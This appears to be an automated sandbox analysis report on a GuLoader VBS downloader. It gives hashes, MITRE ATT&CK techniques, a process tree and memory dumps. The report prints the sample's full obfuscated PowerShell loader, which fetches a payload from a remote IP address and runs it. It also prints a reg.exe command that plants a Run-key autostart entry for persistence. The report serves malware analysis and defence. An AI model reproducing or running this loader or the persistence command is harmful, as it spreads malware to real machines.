guloader | 418c376ea99f08d252dc0ce3650056497a2e180a7fb52bdb4a1a1cb661ef013f

General

Target

418c376ea99f08d252dc0ce3650056497a2e180a7fb52bdb4a1a1cb661ef013f.vbs
Size

16KB
MD5

ba91098f69e003ca4d4d9c83fa6350d6
SHA1

3553a1fe2fdbd2940a59ed20fb361781b6150abc
SHA256

418c376ea99f08d252dc0ce3650056497a2e180a7fb52bdb4a1a1cb661ef013f
SHA512

ec1aeea69144e0a96e815855f61c1e9e15f5be27f4bc1d19b05b6849df65d4b971592af46d7c8b47e4c6eb589b92a5b8936c801c98c04992fec5a65d3fd3f06f
SSDEEP

384:+uMcrrXFo5t8VvomRWq1hn+h/RW5MaMIN0Oq5u2:+tGov89lRW6hqZWqaLGv

Score

10^/10

guloader downloader persistence

Malware Config

Signatures

Guloader,Cloudeye
A shellcode based downloader first seen in 2020.
downloader guloader
Blocklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow pid process

4 2956 powershell.exe

flow	pid	process
4	2956	powershell.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

Processes:

reg.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-2297530677-1229052932-2803917579-1000\Software\Microsoft\Windows\CurrentVersion\Run\Fravrist = "%desforuden% -w 1 $Bortkaldte=(Get-ItemProperty -Path 'HKCU:\\Diancecht\\').Divisionstegnene;%desforuden% ($Bortkaldte)"	reg.exe

Suspicious use of NtCreateThreadExHideFromDebugger 2 IoCs

Processes:

wab.exe

pid process

2608 wab.exe
2608 wab.exe
Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

Processes:

powershell.exewab.exe

pid process

2400 powershell.exe
2608 wab.exe
Suspicious use of SetThreadContext 1 IoCs

Processes:

powershell.exe

description pid process target process

PID 2400 set thread context of 2608 2400 powershell.exe wab.exe
Modifies registry key 1 TTPs 1 IoCs

Modify Registry
T1112

Processes:

reg.exe

pid process

2736 reg.exe
Suspicious behavior: EnumeratesProcesses 3 IoCs

Processes:

powershell.exepowershell.exe

pid process

2956 powershell.exe
2400 powershell.exe
2400 powershell.exe
Suspicious behavior: MapViewOfSection 1 IoCs

Processes:

powershell.exe

pid process

2400 powershell.exe
Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes:

powershell.exepowershell.exe

description pid process

Token: SeDebugPrivilege 2956 powershell.exe
Token: SeDebugPrivilege 2400 powershell.exe

pid	process
2608	wab.exe
2608	wab.exe

pid	process
2400	powershell.exe
2608	wab.exe

description	pid	process	target process
PID 2400 set thread context of 2608	2400	powershell.exe	wab.exe

pid	process
2736	reg.exe

pid	process
2956	powershell.exe
2400	powershell.exe
2400	powershell.exe

pid	process
2400	powershell.exe

description	pid	process
Token: SeDebugPrivilege	2956	powershell.exe
Token: SeDebugPrivilege	2400	powershell.exe

Suspicious use of WriteProcessMemory 28 IoCs

Processes:

WScript.exepowershell.exepowershell.exewab.execmd.exe

description	pid	process	target process
PID 2240 wrote to memory of 2956	2240	WScript.exe	powershell.exe
PID 2240 wrote to memory of 2956	2240	WScript.exe	powershell.exe
PID 2240 wrote to memory of 2956	2240	WScript.exe	powershell.exe
PID 2956 wrote to memory of 2812	2956	powershell.exe	cmd.exe
PID 2956 wrote to memory of 2812	2956	powershell.exe	cmd.exe
PID 2956 wrote to memory of 2812	2956	powershell.exe	cmd.exe
PID 2956 wrote to memory of 2400	2956	powershell.exe	powershell.exe
PID 2956 wrote to memory of 2400	2956	powershell.exe	powershell.exe
PID 2956 wrote to memory of 2400	2956	powershell.exe	powershell.exe
PID 2956 wrote to memory of 2400	2956	powershell.exe	powershell.exe
PID 2400 wrote to memory of 2392	2400	powershell.exe	cmd.exe
PID 2400 wrote to memory of 2392	2400	powershell.exe	cmd.exe
PID 2400 wrote to memory of 2392	2400	powershell.exe	cmd.exe
PID 2400 wrote to memory of 2392	2400	powershell.exe	cmd.exe
PID 2400 wrote to memory of 2608	2400	powershell.exe	wab.exe
PID 2400 wrote to memory of 2608	2400	powershell.exe	wab.exe
PID 2400 wrote to memory of 2608	2400	powershell.exe	wab.exe
PID 2400 wrote to memory of 2608	2400	powershell.exe	wab.exe
PID 2400 wrote to memory of 2608	2400	powershell.exe	wab.exe
PID 2400 wrote to memory of 2608	2400	powershell.exe	wab.exe
PID 2608 wrote to memory of 2740	2608	wab.exe	cmd.exe
PID 2608 wrote to memory of 2740	2608	wab.exe	cmd.exe
PID 2608 wrote to memory of 2740	2608	wab.exe	cmd.exe
PID 2608 wrote to memory of 2740	2608	wab.exe	cmd.exe
PID 2740 wrote to memory of 2736	2740	cmd.exe	reg.exe
PID 2740 wrote to memory of 2736	2740	cmd.exe	reg.exe
PID 2740 wrote to memory of 2736	2740	cmd.exe	reg.exe
PID 2740 wrote to memory of 2736	2740	cmd.exe	reg.exe

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\418c376ea99f08d252dc0ce3650056497a2e180a7fb52bdb4a1a1cb661ef013f.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:2240

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$decarbonizer = 1;$Spaadomsevnen='Substrin';$Spaadomsevnen+='g';Function Aristol($Dkfarverne151){$Reutilized=$Dkfarverne151.Length-$decarbonizer;For($Spiritusbestemmelsen=4; $Spiritusbestemmelsen -lt $Reutilized; $Spiritusbestemmelsen+=(5)){$Venskabsbyer+=$Dkfarverne151.$Spaadomsevnen.Invoke($Spiritusbestemmelsen, $decarbonizer);}$Venskabsbyer;}function studielektorerne($Unportmanteaued){. ($Lselysts79) ($Unportmanteaued);}$Miljvrnet=Aristol 'SkifMBysvoSuppzPhani oalSlavlStriaKoke/Tram5Tegl.prgt0Acce Aab(FyrrWBydeiChamnOpfydKonsoKnokwKlunsVesi PolyNAwfuTH,dr Gens1Stil0Knya. Def0 Un.;Flam ko,oWDeliiOb tnHalv6Pilt4Aalb;Tilf Tr nxPrep6A.ov4Bil.;Euda Eterr FrivAsyn: ,ei1Vrge2Besk1 Eft. num0 con).fsk ProvGTi keEsgecDonkkCo.ao Ful/Worm2Bi f0Pisk1 Ste0Min,0Ejno1 Lag0Disc1Conn PseuFInteiForrrMaddeNedtfE.itoH.tex Sal/Hela1 Unp2,nte1Dybf.,rev0 Kn. ';$Flyv=Aristol 'Em,tU TubsChaseHemar,aad-,asiAGavfgExemeFlytn VedtIsot ';$Halvbilleder=Aristol 'Bad.h reatAstrtunispT ai: ,pr/F rd/Biha8Anno7Larv.C.uz1K,ow2 Vet1 Mo,..xpa1Bo c0T,le5 E t.Konk1Dehy6 Uro3Inte/ sweS PattNotooha.prRemovCouneOvogs.tatiChror HypsOver4poda3Sign.DellpPhyssBirimBrit ';$Eksaktes=Aristol ' Pia> Sag ';$Lselysts79=Aristol ' Elei LabeUndexboks ';$Avokadoens = Aristol ' ,neeSvvnctourhPa loDoub .isp%scowaHeltpAugepPenndSoutaSeratSlasaSepo%Cyke\UnhiJ ,euo Brub.ondmUndeiOdonsFlast .enrdiare tresSkidsTrot.HaanT Sn,aO.klwSate Affi&Tr.p&P.ck FoddeLaencSk uhToneoUnpu Lac$ Trl ';studielektorerne (Aristol 'Pi.f$Se,vgDecalInduoSl,ebSp eaT.tilLow :.andT,pfohStrayNonlr Ti oNeditsubchSoffeGrovr GenaMeshp.etry Sa.= Cen( Forc,illmRemid Pro Okt/ B.uc .ed Medi$TaroASkravY froS,ank OrgaS,amdAruaoLam.eNondn Muls st)Afve ');studielektorerne (Aristol 'Gtep$Afr gParglS ruo ,onb CteaPecclSu k: MerT PacrDiploLesbjUdskaexfonunpasO elkVelae egsEn.a= Fil$ImpoHSubsa PaplBarfvHyp b anniEstulFrerl mmeeSalgdLumieSnu rNive.Aryls S bp yldlSc liKomptDumo(Son.$BrunE ,egkGrntsCavya A,tkSvigtBag eSciasspoi)Uafh ');$Halvbilleder=$Trojanskes[0];studielektorerne (Aristol 'Gr,s$Kavag Disl DigoK,geb Kl,aForklLitt:ForhSCig k DupuOrdheU.sksHy,epQuari Un.lFyrsfTr,oos.onrprotfsprraHo.etBuddtWhaleNonerFuneeUndesTrom=YounN Ba.e itiwsty - askO.estbstrojH,mieMes,c B,ftFinp PolySKirkybro.sAnt,tMe ae GeomHexa.He,eNSanteTegnt ale.UproW In e SigbBestCsenilSmooi egie ymbnPlant apr ');studielektorerne (Aristol 'Swac$Int.Srepak WinuPon,eShedsNouap.piuiPaaaltegnfTysoo UnarBaisf So,aF.emtJeertUnreeFogfrHerme .insDrac.,eksH PiceArbea,flad Wele te.rSprysPt.r[B.an$ zooFAnprlsuboyOmfavamb.] Ass=Bull$B,evMTraniRummlWis.jEks.v AngrRegen Bu,e TratBall ');$Anset=Aristol 'DuehS DiskUnsuuUndeeamphsF,cipste iBarelS,mmfNoncoFl,mrSurmf I.raFototA tot,umue D lr HakeUnres,ega.TautDStrioBlanwCiv.nM amlAmatoEstiaAccedVrisF SteiUncllSynteOemh(Pers$ ,reHFlinaPulpl Ud vImpabaccei.geulBef.l eaveCaridre.re.imurRede,Sixt$PhraCPr ooAfnaaDa.adTricjUr.nuUnvedA.phiae tcNonpast,ntdioioLandrinex).anc ';$Anset=$Thyrotherapy[1]+$Anset;$Coadjudicator=$Thyrotherapy[0];studielektorerne (Aristol ',art$alpegMalalCibbo GrabIsolaKiv l Pip:Nul S onkeAfstrSt prFloraInwetUnpee BatdSt,l=Uf,l(UpseTUncoeOv.rsfarvtFrem-LoyaPI caaBo gtOverhKrse Non$,idsCBr.oo S,ra PredSumajOl suMound Ti,i BlucBistaAuretlumiopladrRe,e)Spis ');while (!$Serrated) {studielektorerne (Aristol 'Hinn$Kva,gN,nalAftro ab,b.itaaS,pelMime:.haoScowcpE iseFiskk UnstPlufr OtauSca.m.oicsMapl=Ta s$,raut Lokr RecuRes eUnde ') ;studielektorerne $Anset;studielektorerne (Aristol 'H,emS La tCabaaPlasrParctWatc-CockS Gtel,ilseIn aeda sp Ens Frek4Tra ');studielektorerne (Aristol 'Sten$ho.sgP.yclBootoAdelb FaraFourlPrec: .onS ranePho,rSemirTrama evatHankeOx,rdA.st=Phen( LarTLnnie massFiretRis,-Bl.nPCho.aPirot.iffhT.an Dimw$dogmCint oNi.haDi ed BlnjP rauDaeddOutdiUnrecAphaa.espt B,ro BrurAnem)Unar ') ;studielektorerne (Aristol 'del $HeargBeetlGei,oFotobMenaaSalslBlaa:PrepP,yrtaImmohundeuSlant C oaAdrinSnee=Vaab$,halgReinlRygsoHajrbCaroaPacklFlou: SkoC ovrlKar.a vegmSkvam piciNejdlt,leySlag+E ro+Smo,% Pyr$VandTVrimr Kr.oStilj BaraDaaln Snas .rok IndeEff,sfirc.,addc LunoDiamuSys,nSolitFors ') ;$Halvbilleder=$Trojanskes[$Pahutan];}studielektorerne (Aristol 'Pter$ Bssg EvalKu doMaskb,uitaStall S.e:MillTPimaaPartbSid rVinei mitzI re Ov =C.ac KrseGLy,te,ytttTset-TraiCL,sioDo,knSka.t rape Fl nClartPo s Fin$ BliCBetaoPeltaTilrd.racj R.ouIdyldPo.ai Derc YalaTrumtWantoUns,r Sli ');studielektorerne (Aristol 'Indl$GastgFaull OpmoTonobStvfaHomilTrop:D.fuBAlbieIco,c SamlReplapublmAgaio AllrRe.oiSupen D,agSumm Meta=Cyan Eksi[ NonSResyyKoras Hant LineNikkm lic.SociCg,psoScornFyrivBlote TubrUnu.tbesv]Baro:Iko.:pengFGenhrOmfao termafl.BAntaaHamusAtomeVejr6 res4DespSBagtt MedrBakkiSnoonGry,g ili(tale$OmbjT SpiaS.arb OptrsnitiS.ndzUnde)Fi,k ');studielektorerne (Aristol 'Leat$ RepgBl,ml Bido,dmlb.onea aaslYu.k: SwoSKonfoSemic.ndemStabaNovonTol ru siyPra, son=Fi,e Disa[PrinSFi iyKlitsAntit ruseEtagmNy d.StafTKildeUnhuxInfrthier.subdE ten SupcNonpoVejodCl.viB ggnIllug,oej] ,as:Diff:MythAGlosSUndeCRegnIHerfISeed.F mrGCic eTospt ,igSBen tMissrPro,iOve.n ReggSlav( Fug$DepoBPelse alecAp lllaana RapmBronoVensr Stuiti.snPal.gTime) Sk. ');studielektorerne (Aristol 'Nons$aforgKafflRabaoSvadb,andaM,telColt: Be G Kosu erndQuins Heln Doo= Le $.ailS O.do ,npc.onnmDysea omin powrDiaryStai.Progs baluDunkbAf,usravatOdderNyt.i llenStrag,myx(Nat,3mis 3Ungm7Va,r6Bl,n2Corv5Poah,Acep2Klis7Ar,a2Prog5Auto3 Pe.)Aabe ');studielektorerne $Gudsn;"
2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2956

C:\Windows\system32\cmd.exe
"C:\Windows\system32\cmd.exe" /c "echo %appdata%\Jobmistress.Taw && echo $"
3⤵
PID:2812

C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "$decarbonizer = 1;$Spaadomsevnen='Substrin';$Spaadomsevnen+='g';Function Aristol($Dkfarverne151){$Reutilized=$Dkfarverne151.Length-$decarbonizer;For($Spiritusbestemmelsen=4; $Spiritusbestemmelsen -lt $Reutilized; $Spiritusbestemmelsen+=(5)){$Venskabsbyer+=$Dkfarverne151.$Spaadomsevnen.Invoke($Spiritusbestemmelsen, $decarbonizer);}$Venskabsbyer;}function studielektorerne($Unportmanteaued){. ($Lselysts79) ($Unportmanteaued);}$Miljvrnet=Aristol 'SkifMBysvoSuppzPhani oalSlavlStriaKoke/Tram5Tegl.prgt0Acce Aab(FyrrWBydeiChamnOpfydKonsoKnokwKlunsVesi PolyNAwfuTH,dr Gens1Stil0Knya. Def0 Un.;Flam ko,oWDeliiOb tnHalv6Pilt4Aalb;Tilf Tr nxPrep6A.ov4Bil.;Euda Eterr FrivAsyn: ,ei1Vrge2Besk1 Eft. num0 con).fsk ProvGTi keEsgecDonkkCo.ao Ful/Worm2Bi f0Pisk1 Ste0Min,0Ejno1 Lag0Disc1Conn PseuFInteiForrrMaddeNedtfE.itoH.tex Sal/Hela1 Unp2,nte1Dybf.,rev0 Kn. ';$Flyv=Aristol 'Em,tU TubsChaseHemar,aad-,asiAGavfgExemeFlytn VedtIsot ';$Halvbilleder=Aristol 'Bad.h reatAstrtunispT ai: ,pr/F rd/Biha8Anno7Larv.C.uz1K,ow2 Vet1 Mo,..xpa1Bo c0T,le5 E t.Konk1Dehy6 Uro3Inte/ sweS PattNotooha.prRemovCouneOvogs.tatiChror HypsOver4poda3Sign.DellpPhyssBirimBrit ';$Eksaktes=Aristol ' Pia> Sag ';$Lselysts79=Aristol ' Elei LabeUndexboks ';$Avokadoens = Aristol ' ,neeSvvnctourhPa loDoub .isp%scowaHeltpAugepPenndSoutaSeratSlasaSepo%Cyke\UnhiJ ,euo Brub.ondmUndeiOdonsFlast .enrdiare tresSkidsTrot.HaanT Sn,aO.klwSate Affi&Tr.p&P.ck FoddeLaencSk uhToneoUnpu Lac$ Trl ';studielektorerne (Aristol 'Pi.f$Se,vgDecalInduoSl,ebSp eaT.tilLow :.andT,pfohStrayNonlr Ti oNeditsubchSoffeGrovr GenaMeshp.etry Sa.= Cen( Forc,illmRemid Pro Okt/ B.uc .ed Medi$TaroASkravY froS,ank OrgaS,amdAruaoLam.eNondn Muls st)Afve ');studielektorerne (Aristol 'Gtep$Afr gParglS ruo ,onb CteaPecclSu k: MerT PacrDiploLesbjUdskaexfonunpasO elkVelae egsEn.a= Fil$ImpoHSubsa PaplBarfvHyp b anniEstulFrerl mmeeSalgdLumieSnu rNive.Aryls S bp yldlSc liKomptDumo(Son.$BrunE ,egkGrntsCavya A,tkSvigtBag eSciasspoi)Uafh ');$Halvbilleder=$Trojanskes[0];studielektorerne (Aristol 'Gr,s$Kavag Disl DigoK,geb Kl,aForklLitt:ForhSCig k DupuOrdheU.sksHy,epQuari Un.lFyrsfTr,oos.onrprotfsprraHo.etBuddtWhaleNonerFuneeUndesTrom=YounN Ba.e itiwsty - askO.estbstrojH,mieMes,c B,ftFinp PolySKirkybro.sAnt,tMe ae GeomHexa.He,eNSanteTegnt ale.UproW In e SigbBestCsenilSmooi egie ymbnPlant apr ');studielektorerne (Aristol 'Swac$Int.Srepak WinuPon,eShedsNouap.piuiPaaaltegnfTysoo UnarBaisf So,aF.emtJeertUnreeFogfrHerme .insDrac.,eksH PiceArbea,flad Wele te.rSprysPt.r[B.an$ zooFAnprlsuboyOmfavamb.] Ass=Bull$B,evMTraniRummlWis.jEks.v AngrRegen Bu,e TratBall ');$Anset=Aristol 'DuehS DiskUnsuuUndeeamphsF,cipste iBarelS,mmfNoncoFl,mrSurmf I.raFototA tot,umue D lr HakeUnres,ega.TautDStrioBlanwCiv.nM amlAmatoEstiaAccedVrisF SteiUncllSynteOemh(Pers$ ,reHFlinaPulpl Ud vImpabaccei.geulBef.l eaveCaridre.re.imurRede,Sixt$PhraCPr ooAfnaaDa.adTricjUr.nuUnvedA.phiae tcNonpast,ntdioioLandrinex).anc ';$Anset=$Thyrotherapy[1]+$Anset;$Coadjudicator=$Thyrotherapy[0];studielektorerne (Aristol ',art$alpegMalalCibbo GrabIsolaKiv l Pip:Nul S onkeAfstrSt prFloraInwetUnpee BatdSt,l=Uf,l(UpseTUncoeOv.rsfarvtFrem-LoyaPI caaBo gtOverhKrse Non$,idsCBr.oo S,ra PredSumajOl suMound Ti,i BlucBistaAuretlumiopladrRe,e)Spis ');while (!$Serrated) {studielektorerne (Aristol 'Hinn$Kva,gN,nalAftro ab,b.itaaS,pelMime:.haoScowcpE iseFiskk UnstPlufr OtauSca.m.oicsMapl=Ta s$,raut Lokr RecuRes eUnde ') ;studielektorerne $Anset;studielektorerne (Aristol 'H,emS La tCabaaPlasrParctWatc-CockS Gtel,ilseIn aeda sp Ens Frek4Tra ');studielektorerne (Aristol 'Sten$ho.sgP.yclBootoAdelb FaraFourlPrec: .onS ranePho,rSemirTrama evatHankeOx,rdA.st=Phen( LarTLnnie massFiretRis,-Bl.nPCho.aPirot.iffhT.an Dimw$dogmCint oNi.haDi ed BlnjP rauDaeddOutdiUnrecAphaa.espt B,ro BrurAnem)Unar ') ;studielektorerne (Aristol 'del $HeargBeetlGei,oFotobMenaaSalslBlaa:PrepP,yrtaImmohundeuSlant C oaAdrinSnee=Vaab$,halgReinlRygsoHajrbCaroaPacklFlou: SkoC ovrlKar.a vegmSkvam piciNejdlt,leySlag+E ro+Smo,% Pyr$VandTVrimr Kr.oStilj BaraDaaln Snas .rok IndeEff,sfirc.,addc LunoDiamuSys,nSolitFors ') ;$Halvbilleder=$Trojanskes[$Pahutan];}studielektorerne (Aristol 'Pter$ Bssg EvalKu doMaskb,uitaStall S.e:MillTPimaaPartbSid rVinei mitzI re Ov =C.ac KrseGLy,te,ytttTset-TraiCL,sioDo,knSka.t rape Fl nClartPo s Fin$ BliCBetaoPeltaTilrd.racj R.ouIdyldPo.ai Derc YalaTrumtWantoUns,r Sli ');studielektorerne (Aristol 'Indl$GastgFaull OpmoTonobStvfaHomilTrop:D.fuBAlbieIco,c SamlReplapublmAgaio AllrRe.oiSupen D,agSumm Meta=Cyan Eksi[ NonSResyyKoras Hant LineNikkm lic.SociCg,psoScornFyrivBlote TubrUnu.tbesv]Baro:Iko.:pengFGenhrOmfao termafl.BAntaaHamusAtomeVejr6 res4DespSBagtt MedrBakkiSnoonGry,g ili(tale$OmbjT SpiaS.arb OptrsnitiS.ndzUnde)Fi,k ');studielektorerne (Aristol 'Leat$ RepgBl,ml Bido,dmlb.onea aaslYu.k: SwoSKonfoSemic.ndemStabaNovonTol ru siyPra, son=Fi,e Disa[PrinSFi iyKlitsAntit ruseEtagmNy d.StafTKildeUnhuxInfrthier.subdE ten SupcNonpoVejodCl.viB ggnIllug,oej] ,as:Diff:MythAGlosSUndeCRegnIHerfISeed.F mrGCic eTospt ,igSBen tMissrPro,iOve.n ReggSlav( Fug$DepoBPelse alecAp lllaana RapmBronoVensr Stuiti.snPal.gTime) Sk. ');studielektorerne (Aristol 'Nons$aforgKafflRabaoSvadb,andaM,telColt: Be G Kosu erndQuins Heln Doo= Le $.ailS O.do ,npc.onnmDysea omin powrDiaryStai.Progs baluDunkbAf,usravatOdderNyt.i llenStrag,myx(Nat,3mis 3Ungm7Va,r6Bl,n2Corv5Poah,Acep2Klis7Ar,a2Prog5Auto3 Pe.)Aabe ');studielektorerne $Gudsn;"
3⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2400

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\system32\cmd.exe" /c "echo %appdata%\Jobmistress.Taw && echo $"
4⤵
PID:2392

C:\Program Files (x86)\windows mail\wab.exe
"C:\Program Files (x86)\windows mail\wab.exe"
4⤵
- Suspicious use of NtCreateThreadExHideFromDebugger
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of WriteProcessMemory
PID:2608

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Fravrist" /t REG_EXPAND_SZ /d "%desforuden% -w 1 $Bortkaldte=(Get-ItemProperty -Path 'HKCU:\Diancecht\').Divisionstegnene;%desforuden% ($Bortkaldte)"
5⤵
- Suspicious use of WriteProcessMemory
PID:2740

C:\Windows\SysWOW64\reg.exe
REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Fravrist" /t REG_EXPAND_SZ /d "%desforuden% -w 1 $Bortkaldte=(Get-ItemProperty -Path 'HKCU:\Diancecht\').Divisionstegnene;%desforuden% ($Bortkaldte)"
6⤵
- Adds Run key to start application
- Modifies registry key
PID:2736

Network

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Defense Evasion

Modify Registry

2

T1112

Credential Access

Discovery

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Resource Development

Reconnaissance

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Roaming\Jobmistress.Taw
Filesize
475KB

MD5
44da74895a8d07aacdd0c252f1b27dd8

SHA1
72ea60a757ce980b2de563caebdfbf9facd51835

SHA256
b63ba6d7514534338dd6576f273a44cc84037bd57414fb952ff2ced5c82ab069

SHA512
528dc0ec8d400664e6c2f09e302cd9232886de7e838a3d64d327637ee5f052677ee8fecaa81f963c4f319121f7cf99c54b4017d8f9bb159a24218724af6a6786

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\MF8EHXUNRMCE8M2JLBGX.temp
Filesize
7KB

MD5
a605290b5c60594ea39092f09e66d17c

SHA1
cb753a167ede7120d562d33e7464937f1ba52854

SHA256
978409d0c434c8636ac536c310c8ba059899746fb42cdaa4a9c79431ab33ee10

SHA512
8d4a37990590a9c1051e9f6897abc1cb4e84af147640446c27345f0bd8fa256fcd82993b107109aefb14e04f2c9890b85a5a16e4e5661faf9b6b8c3e57535708

Download Submit
memory/2400-28-0x0000000072E40000-0x00000000733EB000-memory.dmp

Filesize
5.7MB

Download
memory/2400-31-0x0000000076F40000-0x0000000077016000-memory.dmp

Filesize
856KB

Download
memory/2400-30-0x0000000076D50000-0x0000000076EF9000-memory.dmp

Filesize
1.7MB

Download
memory/2400-29-0x0000000002640000-0x0000000002680000-memory.dmp

Filesize
256KB

Download
memory/2400-27-0x00000000066E0000-0x000000000B07E000-memory.dmp

Filesize
73.6MB

Download
memory/2400-26-0x00000000054A0000-0x00000000054A1000-memory.dmp

Filesize
4KB

Download
memory/2400-20-0x0000000002640000-0x0000000002680000-memory.dmp

Filesize
256KB

Download
memory/2400-16-0x0000000072E40000-0x00000000733EB000-memory.dmp

Filesize
5.7MB

Download
memory/2400-17-0x0000000002640000-0x0000000002680000-memory.dmp

Filesize
256KB

Download
memory/2400-18-0x0000000072E40000-0x00000000733EB000-memory.dmp

Filesize
5.7MB

Download
memory/2400-25-0x0000000002640000-0x0000000002680000-memory.dmp

Filesize
256KB

Download
memory/2608-32-0x0000000076D50000-0x0000000076EF9000-memory.dmp

Filesize
1.7MB

Download
memory/2608-36-0x0000000001C60000-0x00000000065FE000-memory.dmp

Filesize
73.6MB

Download
memory/2608-37-0x0000000076F40000-0x0000000077016000-memory.dmp

Filesize
856KB

Download
memory/2608-34-0x0000000076F40000-0x0000000077016000-memory.dmp

Filesize
856KB

Download
memory/2608-33-0x0000000076F76000-0x0000000076F77000-memory.dmp

Filesize
4KB

Download
memory/2956-10-0x000007FEF52A0000-0x000007FEF5C3D000-memory.dmp

Filesize
9.6MB

Download
memory/2956-11-0x0000000002C90000-0x0000000002D10000-memory.dmp

Filesize
512KB

Download
memory/2956-5-0x0000000002340000-0x0000000002348000-memory.dmp

Filesize
32KB

Download
memory/2956-39-0x000007FEF52A0000-0x000007FEF5C3D000-memory.dmp

Filesize
9.6MB

Download
memory/2956-23-0x0000000002C90000-0x0000000002D10000-memory.dmp

Filesize
512KB

Download
memory/2956-8-0x0000000002C90000-0x0000000002D10000-memory.dmp

Filesize
512KB

Download
memory/2956-6-0x000007FEF52A0000-0x000007FEF5C3D000-memory.dmp

Filesize
9.6MB

Download
memory/2956-7-0x0000000002C90000-0x0000000002D10000-memory.dmp

Filesize
512KB

Download
memory/2956-19-0x000007FEF52A0000-0x000007FEF5C3D000-memory.dmp

Filesize
9.6MB

Download
memory/2956-9-0x0000000002C90000-0x0000000002D10000-memory.dmp

Filesize
512KB

Download
memory/2956-22-0x0000000002C90000-0x0000000002D10000-memory.dmp

Filesize
512KB

Download
memory/2956-24-0x0000000002C90000-0x0000000002D10000-memory.dmp

Filesize
512KB

Download
memory/2956-4-0x000000001B650000-0x000000001B932000-memory.dmp

Filesize
2.9MB

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v13

Replay Monitor

Loading Replay Monitor...

Downloads